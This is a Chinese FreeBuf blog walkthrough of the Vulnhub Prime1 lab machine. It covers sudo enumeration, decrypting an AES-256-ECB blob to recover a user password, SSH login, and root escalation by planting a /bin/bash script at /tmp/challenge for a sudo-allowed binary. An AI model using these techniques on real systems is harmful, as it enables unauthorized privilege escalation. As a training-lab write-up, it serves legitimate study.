freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub靶机实操笔记-Prime1-解法二
2023-07-02 11:14:50
所属地 北京

Prime1提权的另一种方式

接Vulnhub靶机实操笔记-Prime1-解法一,获得一个初始权限通过uname -a查看当前系统版本较低是存在一个内核提权的漏洞的。正常情况下,直接使用内核提权速度更快也比较暴力容易被检测发现。

1686362024_6483d7a876fbb790ca8a9.png!small?1686362025000

一、查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

1686362045_6483d7bd53459b0ea4650.png!small?1686362045844

移动到/home/saket目录下,首先先查看当前目录下有哪些文件与权限。发现enc是有执行权限的,直接尝试执行需要输入密码。尝试strings能否直接查看enc内容查看不了,尝试file读取enc提示没有读的权限。

cd /home/saket
ls -liah
./enc
strings enc         #尝试查看enc的内容
file enc            #尝试直接读取enc

1686362063_6483d7cfe24c6dfcd7609.png!small?1686362064794

二、翻找文件

既然提示要输入密码,接下来的思路就是找敏感文件,看看能不能在关键信息。

find / -name '*backup*' 2>dev/null | sort | less

find                     #查找文件命令
2>dev/null               #将报错文件丢除
sort                     #将结果排序
less                     #分页

1686362142_6483d81e01f9d68c690f2.png!small?1686362142719

在opt/backup文件夹尝试查看server_database,提示server_database是目录。进入server_database目录下找到backup_pass文件,通过读取文件提示enc的密码是backup_password

1686362173_6483d83d313124a42e696.png!small?1686362173759

三、输入密码

再次执行enc文件,将获得的密码输入进去,提示权限不足enc.txt和key.txt无法释放。我丢,一开始我还是完了www-data权限不够,后面大佬点拨没有sudo去执行,加入sudo后终于成功。

不过出现good为何会如此怪异?txt那两个文件呢?发现执行后在当前目录进行释放了两个txt文件,查看enc.txt文件看到一个base64加密内容,查看key.txt文件提示将ippsec转成md5的hash

1686362192_6483d850e2911e8418224.png!small?1686362193404

1686362213_6483d865989cf45cdf3bf.png!small?1686362214126

1686362234_6483d87acc5272dcc4454.png!small?1686362235311

编码加密

将ippsec不输出结尾的换行符进行md5加密,以空格为分割,打印输出第一个值

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'

-n                  #不输出结尾的换行符
md5sum              #md5的加密形式
awk                 #awk是文本处理工具
-F                  #以什么条件进行分割条件,本例子是用空格进行分割

1686362254_6483d88eef0b81bd93b31.png!small?1686362255802

四、OpenSSL

1、openssl解法命令格式

利用获得的key.txt提示将ippsec”转换为md5哈希,利用key去解密看看enc.txt的内容具体是什么。(echo -n有时候需要根据解密的具体内容增减)

echo -n '需要解密的内容' | openssl enc -d -a -CipherType -K '16进制的key值'

-n                  #不输出结尾的换行符
-d                  #解密
-a                  #指定编码      

1686362282_6483d8aa7038572d5e07f.png!small?1686362282969

查看openssl帮助看到标准命令就是enc,加密类型就是框框内的

1686362300_6483d8bc5bac39704a203.png!small?1686362300939

将这些加密类型整合到一个文件中(这边保存的文件名是CipherTypeRaw),并对文件进行重新排列每行

1686362318_6483d8ce4af44335d8e85.png!small?1686362319532

将CipherTypeRaw文件中的空格全部替换成\n换行

sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw

gsub                     #替换\\中间的内容
CipherTypeRaw            #操作的文件名名称

替换后的效果如下

1686362346_6483d8eab338957e77ae8.png!small?1686362347226

对数据再美化美化,将数据排序一下,并且取值唯一,稍微统计一下一共有多少行

sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq | wc -l
sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq >CipherTypes

gsub                     #替换\\中间的内容
CipherTypeRaw            #操作的文件名名称
sort                     #结果排序
uniq                     #结果取唯一值
wc -l                    #统计结果
>CipherTypes             #是将结果输出到文件CipherTypes上 

1686362490_6483d97ad7b2e0fd41e8f.png!small?1686362491430

sudo openssl enc --help   #详细查看enc下面的使用方法

-K        #看到带这个key是需要16进制的hex,并不是传入前面生成的md5值

1686362515_6483d993752ad28d5324f.png!small?1686362516299

2、OD

od是linux的系统命令,转储文件8进制或其他进制

man od

-A参数


-A               #指定RADIX为在doxn四种中的一种,例子选择的是none
-t               #指定类型,例子需要指定x1

1686362532_6483d9a4844ac69fdbd70.png!small?1686362532943

1686362547_6483d9b3d2072212b7d11.png!small?1686362548520

1686362563_6483d9c380d5ac16e5402.png!small?1686362564404

选择十六进制的,(靶机选择的是x1)

单字节转16进制:使用ASCII码表将每个字符转换为对应的16进制值。例如,字符串 "A" 的16进制表示为 "41",其中 "41" 是字符 "A" 在ASCII码表中的十六进制表示。

双字节转16进制:使用Unicode字符编码标准将每个字符转换为对应的16进制值。例如,字符串 "中" 的16进制表示为 "4E2D",其中 "4E2D" 是字符 "中" 在Unicode编码表中的十六进制表示。

对于判断是使用双字节还是单字节转16进制,您需要查看当前编码方式,主要有以下三种:

ASCII编码:该编码方式只支持单字节字符,因此在此编码方式下,将字符串转换为16进制时只需要使用单字节转换方式即可。例如 "ippsec" 就是单字节。
UTF-8编码:UTF-8编码是一种可变长度字符编码方式,支持单字节和双字节字符。在此编码方式下,单字节字符采用单字节转换方式,而双字节字符采用双字节转换方式。例如 "中文" 就是双字节字符。
UTF-16编码:UTF-16编码是一种双字节编码方式,因此在此编码方式下,所有字符都是双字节字符,需要使用双字节转换方式。例如 "英文" 在UTF-16编码方式下也是双字节字符。

根据上述规则,如果字符串 "ippsec" 是使用ASCII编码的,则将其转换为16进制时只需要使用单字节转换方式;如果是使用UTF-8编码,那么需要对其中的双字节字符使用双字节转换方式。

1686362586_6483d9dac5ca46cdfe55f.png!small?1686362587759

3、生成十六进制hex

将字符串 "ippsec" 转换为 MD5 哈希值,并将其输出为十六进制格式。

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '

-n                  #不输出结尾的换行符
md5sum              #md5的加密形式
awk                 #awk是文本处理工具
-F                  #以什么条件进行分割条件,本例子是用空格进行分割
tr                  #可以对来自标准输入的字符进行替换、压缩和删除。
-d                  #删除字符串

1686362612_6483d9f4d941be23e83d3.png!small?1686362613958

4、开始破解openssl

当不知道是何种加密类型时,采用bat脚本批量跑命令去破解,并将正确的加密方式输出

例子的加密方式是:aes-256-ecb,通过解密获得一个密码

for Cipher in $(cat CipherTypes);do echo  'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bF[91/498]
yvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null ;echo $Cipher;done 

for Cipher in $(cat CipherTypes);do echo -n 'xxxxxxxxxxxx' | openssl enc -d -a -$Cipher -K xxxxxxxxxxxxx 2>/dev/null ; echo $Cipher;done


写了bat脚本遍历CipherTypes文件中的参数,将参数传给变量Cipher
-n                     #openssl的bug,有的时候需要,有的时候不需要。具体取决于解密的xxxxx内容
                       中是否有包含\n换行符。如果有换行符时候需要保留-n,里面内容没有时就把不需要
	                     -n
do                     #后接具体执行操作语句命令
2>dev/null             #将报错信息丢除
done                   #结束bat脚本命令

1686362643_6483da13ed2882351dd92.png!small?1686362645189

再次验证一下获得的加密方式,这边直接用aes-256-ecb进行解密操作

echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K '3336366137346362336339353964653137643631646233303539316333396431'

1686362670_6483da2e536f99ed8ca0a.png!small?1686362670906

五、拿下内网机器

根据解密的内容翻译,得到用户saket有一个旧密码是 tribut_to_ippsec

1686362686_6483da3ee0f6e77ac81f8.png!small?1686362687581

尝试ssh直接连接,发现成功连接机器

1686362702_6483da4ee4a6586763241.png!small?1686362703855

六、内网提权

1、查看系统详情

uname -a

1686362724_6483da642dee11f51e2d8.png!small?1686362724831

2、查看用户权限

发现可以不需要密码以root权限去执行一个/home/victor/undefeated_victor文件

sudo -l

1686362760_6483da88b709beda37f93.png!small?1686362761234

3、查看定时任务

cat etc/crontab

1686362780_6483da9c02b93b5ccbb2e.png!small?1686362780380

4、成功提权

提示/tmp/challenge文件没有找到

sudo /home/victor/undefeated_victor

1686362818_6483dac20cd258aeb621a.png!small?1686362818907

来到/tmp目录下查看是否有challenge文件,发现没有challenge文件。于是新建一个challenge文件,在文件中写启用一个新的bash线程命令。对文件challenge赋予执行权限,再利用前面提醒的“不需要密码以root权限去执行一个/home/victor/undefeated_victor文件”再执行文件,就获得了root权限。

cd /tmp
echo '#!/bin/bash' >challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor
whoami

1686362838_6483dad61f9f31c92aa81.png!small?1686362838680

七、靶场下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

# 内网提权 # vulnhub靶机 # linux提权 # 靶场平台 # 靶场攻关
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录